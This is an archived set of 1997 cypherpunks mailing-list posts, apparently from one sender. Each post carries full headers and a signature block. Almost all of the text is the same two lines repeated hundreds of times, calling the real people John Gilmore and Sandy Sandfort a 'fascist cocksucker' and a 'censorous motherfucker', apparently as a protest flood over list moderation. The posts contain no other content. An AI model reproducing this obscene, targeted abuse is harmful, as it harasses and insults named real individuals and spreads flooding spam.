Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771076.522445.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771165.523242.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770995.521770.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771172.523302.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771123.522865.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771145.523055.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771049.522247.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770987.521705.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:16:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770880.520804.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
